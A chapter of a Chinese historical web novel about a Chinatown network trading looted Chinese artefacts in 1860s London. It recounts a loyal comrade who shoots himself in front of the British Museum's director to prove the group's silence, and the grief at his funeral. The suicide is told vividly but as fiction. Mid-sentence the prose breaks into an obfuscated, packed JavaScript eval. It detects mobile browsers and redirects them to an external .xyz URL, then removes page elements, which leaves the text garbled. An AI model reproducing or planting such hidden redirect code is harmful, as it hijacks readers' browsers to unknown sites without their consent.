第69章 尊严【三】
作品:《归藏》 一群德国佬,十一二至十七八岁,竟人人有武器,或枪或棍,而从他们涌进来瞬间的站位便知这一幕经过了无数次演习,连**蒙带过来的人都瞬间被控制住,门被立刻关上。
“是他吗?”为首的是一个十八岁左右的棕发少年,眉头都激动得飞起来,问旁边那小子。
“应该是。”旁边那小子十三四岁,棕色的眼球看向章片裘的右手,笃定道:“没错,就是他!头儿说过,他右手有过枪伤。”
“我去喊头儿。”后头一个小子的速度比老鼠还快,说话间就不见踪影。
“这狗II娘II养的,这房间里没东西,全被转走了。”
“一个人守着这么多好东西……没根的玩意儿。”
章片裘的人恨得牙痒痒,几人低声咒骂的同时相互给眼神,寻求生机,而涌进来这帮小孩却精明得很,枪口抵着他们的头并第一时间就把他们的**卸掉了,连靴子里的**都没错过,显然,这的确是谢寻教过的。
很快,也就不到十分钟,谢寻进来了。
章片裘与他对视的瞬间,愣了下,这少年真是长得快,短短三个月没见,这么看着高了小半个头?不但长高了还长壮了,面色红润有光泽不说,还去烫了个卷毛,嘿,这小子,日子过得不错啊。
“章先生!”谢寻喊了句,声音一下哽咽了,露出了孩子看到家长后委屈的神情来,但他立刻吸了口气,镇定并霸气地挥了挥手:“兄弟们,松开,这是自己人。”
原来,东西的确被谢寻转移走了。
他来的时候,普鲁士国王腓特烈.威廉四世去世,威廉一世继位,这人主张强化军事力量来推动德意志统一,宪制冲突开始了,柏林大学许多教授卷入其中,**不堪。
“这东西放在这,不安全,再者,我也担心霍夫教授万一被捕……所以我把东西转移到了四个地方,您放心,绝对安全。”谢寻指了指身后这帮小孩:“无论是转移东西还是武装保护自己,都需要人手,所以我组织了队伍。”
“多少人的队伍?”章片裘问道。
“两百多。”谢寻答道,说完后,他忙解释:“德意志**,孤儿太多了。”
谢寻看章片裘等众人瞪大眼睛看着自己,忙又解释:“人是多了点,都是孤儿,太可怜了,而且他们去了伦敦能当报童,报童能第一时间知道新闻消息给唐人街通风报信,再者,您别看年龄小,都无父无母能拧成一股绳,章先生,我来柏林大学的时候,心有戚戚焉,您说的,有时候年纪小,也是一种优势,就留着他们吧。”
说着,谢寻从兜里掏出小本子,很麻利翻到其中一页,上面写着:有时候年纪小,也是一种优势。
“他们也有语录本,年轻便擅长学习。”谢寻说着,这帮小子纷纷掏出本子,上面竟清一色写着谢寻总结出来的一些语录。
在这乱世中,谢寻居然能找到最合适的群体,并飞速组织起队伍,不仅从枪法、战术上锻炼队伍,还从精神上武装队伍,真是个天生的领袖,章片裘心想。
“咦,**蒙没来吗?”谢寻看了看其他人,问道。
“他出什么事了?!”章片裘还没说话,谢寻的脸色立刻变了。
------
当三四千件文物类珍品悄无声息从德国运到唐人街,已经是十天后,正巧,遇到琳娜和安徒生抵达。
远远地,琳娜朝着章片裘挥着手跑过来,与之前八面玲珑的老板娘不同,此时的她多了童真,雀跃得像一只麻雀。
“嘿!章片裘!”她穿着时下最时髦的简约版蓬蓬裙,戴着白色到肘部的手套,优雅极了,在靠近他的时候,却吹着吉普赛女郎才会吹的口哨,露出了野性的本性,转了好几个圈后,右手放在胸前,以舞蹈的姿势弯下腰,再调皮抬头,右眼眨巴了下。
哦不,这不是一只麻雀,这是一只夜莺。
“看来,你过得很不错。”章片裘露出了久违的笑容。
“嗯,我舅爷爷有国家补助,又没有子女,背靠大山当然过得好。对了,给你介绍下我舅爷爷,汉斯·克里斯汀·安徒生。”
活生生的安徒生,仿佛从书里钻出来,站在远处见章片裘看过来,立刻将身体往旁边很别扭地歪了歪,眼睛看着天空,果然,这童话大家与记录中所说的一样:社恐且脾气古怪。
琳娜很擅长处理这方面的事情,但显然对安徒生似乎没有任何办法,她连过去缓和的动作都没有,而是耸肩压低声音:“性格古怪的老处男,人其实很好。”
章片裘转过头看向谢寻命令道:“去喊几个东北的哥们陪着安徒生先生,带他去仓库参观,如果安徒生先生想近距离接触藏品,随他喜好。”
“不不不,我这舅爷爷脾气……他不喜欢接触陌生人的。”琳娜忙摆手。
没多久,只见几个东北老爷们一手架一边,将安徒生架走了,这几个东北人并不太会英文,就几个单词嗷呜嗷呜的,安徒生几时见过这种架势,嘴里也嗷呜嗷呜的,好家伙,那几个东北哥们以为对上话了,脚步愉快欢快,转眼消失在了唐人街。
琳娜很是担心:“完蛋了,我舅爷爷一会儿就会闹着回丹麦的,我还想着在这小住呢!”
“你放心,这天底下就没有东北人搞不定的社恐,你舅爷爷会小住,并在这完成童话《夜莺》的修改的。”章片裘道。
“你怎么知道他想修改《夜莺》?”
章片裘愣了下,立刻接话:“你信件说了呀,他是大作家,我查了下,他唯一写过的与中国有关的童话就是《夜莺》,所以我觉得……他应该是来这找灵感,修改这篇童话的。”
安徒生的确是个好人,带来了两大箱子童话,不用说,这是给唐人街的孩子们准备的;琳娜也从丹麦带来了许多童装,两人请了人一路送过来,的确辛苦。
“哎,**蒙那臭小子呢?要他过来给我来搬呀!”琳娜嚷嚷了起来,眉眼俱笑看向人群,要找**蒙很方便的,他个高,可她却没看到。
章片裘定了定神,深深吸了口气。
“去世了。”
“什、什、什么?去、去、去世了?你说谁去世了?”
“**蒙去世了,我今日到了,谢寻也到了,赶巧你也到了,那就得抓紧葬礼,入土为安。”
“什么时候的事?”
“十天前。”
“十天前?!”
“他的身体一直放在地窖里,用冰护着。”
章片裘能感觉到琳娜的震惊和难以相信,她整张脸都通红,继而又白了,额头冷汗淋漓,太阳穴突突地跳,正如当**蒙倒下去那一刻,他当时的感觉一样。
“不对。”琳娜发现了破绽:“如果他去世了,当地怎么可能容忍他不火葬?中国人没地位,都是一把火烧了,就算是不烧,也会责令唐人街立刻下葬,唐人街……唐人街有官方给的墓地吗?没有吧。”
“唐人街暂时还没有官方给的墓地,但**蒙有墓地,潘尼兹安排的。”
“潘尼兹,你是说大英博物馆的馆长给他安排了墓地?”
“是。”
“这绝不可能。”琳娜抓住了章片裘的衣服,愤怒和激动让她浑身颤栗:“潘尼兹怎么可能给他安排墓地!说,他去哪里了!”
“因为尊严。”章片裘红了眼眶:“**蒙为唐人街赢得了尊严,用他的毫不犹豫,用生命,打动了潘尼兹。”
-------
**蒙就躺在唐人街临时挖出的地窖里,那块里面放满了石灰的打开的棺材里,周围放满了冰,抑制了尸体的腐烂也掩盖了臭味。
他的脑袋被打爆了。
从太阳穴位置进去,到左耳下方有个贯穿的洞,可以看出,当时**从右边太阳穴进入、穿透,当场去世,虽没有伤到脸,但脸上依旧弥漫着青紫色,骇人得很。
为了保护英雄的形象,只有极少数人能进入地窖见他最后一面,琳娜的哭声刺破云霄,她带来了酒,喝了很大一杯后扑在**蒙的身上,又将酒壶放在他身边,泪水打湿了他的蒙古袍。
谢寻拭着眼泪,将一根沙俄来的巨大肉肠放到棺材旁,昔日,**蒙只要得了这东西就会给他吃,说是小朋友就要吃吃才长个呢,其实谢寻知道,**蒙最馋这东西,他就爱吃肉。
昔日,**蒙总说他是小朋友,谢寻对这个称呼很不满,但又不好反驳,毕竟在一米九几的**蒙面前,他确实太孱弱了,眼下,他倒希望他再次摸着他的头,戏谑他一句小朋友。
几个老师傅进来看了看,说,我们会照顾好你内人和小孩的,亦泪眼朦胧,年轻的早逝和惨死令人悲呛,唐人街失去了一员猛将。
翠儿倒没哭。
与其他人只在这一天进来道别不同,她作为夫人,天天进来,不过每次进来都只呆一小会儿,今日是最后一面了,她进来后坐在旁侧,又是一会儿后就站了起来往外头走。
“翠儿,你……他过一会儿就入棺了。”章片裘说道。
翠儿摸了摸肚子:“这里面太冷了,着了风寒,对孩子不好。”
“翠儿。”章片裘喊了句后,又换了称谓:“李夫人,请留步。”
翠儿回过头,她没有哭,眼白都没有红,摸着肚子这么看着章片裘。
“你不问问他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507354|168773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么走的吗?”章片裘说道。
“我以为这是机密,不能说。”
“可以说,他……他是个英雄。”
“人都**,说这些没有用了,只会徒增伤感。”翠儿回过头往外走去,她不怎么显怀又吐得厉害,原本胖了些的身形近日消瘦了许多,但她胃口不错,唐人街的猪肘子都紧着她吃,她不含糊,有多少吃多少。
唐人街是有一些风言风语的。
一个唱南曲的出生,听说又不是什么黄花大闺女,诱惑了**蒙这才过上好日子,人**,她倒吃嘛嘛香。
除了翠儿,几个重要人士都在**蒙入棺之前,聆听了他人生最后那一段惊心动魄的旅程。
**蒙,是**的。
没有犹豫半秒钟,拿着枪对准自己的太阳穴,果断、利索、干脆。血溅到了潘尼兹的身上,火红火红,像火舌,和圆明园的火舌一样震撼。
说起来,事情很简单。
教父唐手腕迅猛,以极快的速度渗入到各个贵族们的后院,利益的趋势下,他在中国文物的饕餮盛宴里分得了隐形的一杯羹,虽然这杯羹对于贵族们来说实在是不多——到目前为止也就几千个边角料——要知道很多贵族,光一个人捞到手的就十万、二十万多件。
但一个大清国人,居然能在中国文物里上了桌,这实在是一件必须敲打他一下的事。
其次,章片裘确实为潘尼兹争取了无形的利益,在未来的几年内,潘尼兹能顺利承接中国文物并走到退休那一日,不会再出现被人试图弄下来的境况,而这一点,潘尼兹也得敲打他,你得知道不是你帮我,尾巴别翘起来。
最重要的是,潘尼兹得告诉唐人街,你们必须忠于我,而不能觉得能搭上别的关系了,起了二心。**蒙曾在办公室将潘尼兹打晕,这件事成了最好的契机,没有什么比杀了章片裘这个左膀右臂,更能震慑唐人街的了。
潘尼兹把会面的地址选在了图书馆的防火长廊,别有深意,又请来了全大不列颠最牛的击剑手,听说**蒙也学了击剑,得把他捅十个八个窟窿才好。
没想到的是,**蒙竟然**了。
潘尼兹这一二三四五说完:“章片裘,我与你可从来没有合作过。”
“我们给其他贵族鉴定和估价,从未说过与您有过沟通。”章片裘忙解释。
“怎么保证呢?如果只有我和你两个人知道,倒还好。”潘尼兹看向**蒙。
是啊,当天晚上,还有**蒙在。
“他不会乱说话的。”章片裘立刻说道:“我可以把他安排到西西里或回大清国。”显然,章片裘有备而来,他知道潘尼兹会想法子震慑下唐人街,大概率会拿**蒙下手,从怀里掏出了大清公文和船票。
潘尼兹翘起二郎腿,他燃了一根烟深深吸了口,长廊风大,烟味瞬间飘散消失,夹杂着花香。
春天来了,一切都生机勃勃。
**蒙看了看剑术师,又看看了潘尼兹,再看了看章片裘。
“走漏了风声……章片裘,我是个很小心的人,只要听到有人讨论,或质疑,或民间七嘴八舌,那都会怪罪到唐人街的口风不严。”潘尼兹笑了笑,翘起的二郎腿抖了抖:“谁能保证他在西西里或大清国闭上嘴呢?”
**蒙看了看剑术师,又看看了潘尼兹,又看了看章片裘。
“潘尼兹馆长,我们唐人街做事是有规矩的,这么久了,您看,我们没有泄露半点……”章片裘的话还没说完,潘尼兹皱起了眉头,不耐烦是显而易见的。
“潘尼兹馆长。”**蒙上前一步:“**会闭嘴,永远不会泄露秘密,这是唐人街的规矩。”
所有人都没反应过来,连春风、枝头的小鸟都没有反应过来,**就响了。
**蒙掏出枪,他甚至没有看章片裘一眼,就这么掏出枪,对准自己的太阳穴,喷的一声,倒在了潘尼兹与章片裘的中间。
速度之快、之果断,让潘尼兹仿佛被神的手死死压在了椅子上,血喷到他的衣服上,他呆呆地看了眼,又看了看**蒙,一侧,那剑术师脸都吓白了。
章片裘只觉得脑袋嗡地一声,嗡嗡嗡,嗡嗡嗡。
他看着地上的**蒙,刚刚还生龙活虎的**蒙,血像雾一样喷出来,章片裘仿佛自己被**击中般,疼痛又晕,但他明白必须镇定下来,吸了口气后摊开手,声音像徐徐的春风般徐缓:“潘尼兹馆长,您看,这就是唐人街的规矩,他展示得很好。”
说来也奇怪,唐人街距离大英博物馆很远,但那一刻,翠儿的肚子动了下。
那是孩子第一次胎动,轻轻地,踢了下肚子。